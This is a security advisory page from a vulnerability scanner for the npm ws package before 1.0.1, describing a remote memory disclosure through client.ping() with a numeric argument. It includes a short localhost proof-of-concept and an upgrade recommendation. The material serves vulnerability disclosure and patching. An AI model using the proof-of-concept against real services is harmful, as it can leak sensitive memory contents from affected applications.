QID 983138

QID 983138: Nodejs (npm) Security Update for ws (GHSA-2mhh-w6q8-5hxw)

Versions of `ws` prior to 1.0.1 are affected by a remote memory disclosure vulnerability.

In certain rare circumstances, applications which allow users to control the arguments of a `client.ping()` call will cause `ws` to send the contents of an allocated but non-zero-filled buffer to the server. This may disclose sensitive information that still exists in memory after previous use of the memory for other tasks.



## Proof of Concept
```
var ws = require('ws')

var server = new ws.Server({ port: 9000 })
var client = new ws('ws://localhost:9000')

client.on('open', function () {
console.log('open')
client.ping(50) // this sends a non-zeroed buffer of 50 bytes

client.on('pong', function (data) {
console.log('got pong')
console.log(data) // Data from the client.
})
})
```


## Recommendation

Update to version 1.0.1 or greater.

Successful exploitation of this vulnerability may affect the confidentiality, integrity, and availability of the targeted user.

  • CVSS V3 rated as High - 7.5 severity.
  • CVSS V2 rated as Medium - 5 severity.
  • Solution
    Customers are advised to refer to GHSA-2mhh-w6q8-5hxw for updates pertaining to this vulnerability.
    Vendor References

    CVEs related to QID 983138

    Software Advisories
    Advisory ID Software Component Link
    GHSA-2mhh-w6q8-5hxw ws URL Logo github.com/advisories/GHSA-2mhh-w6q8-5hxw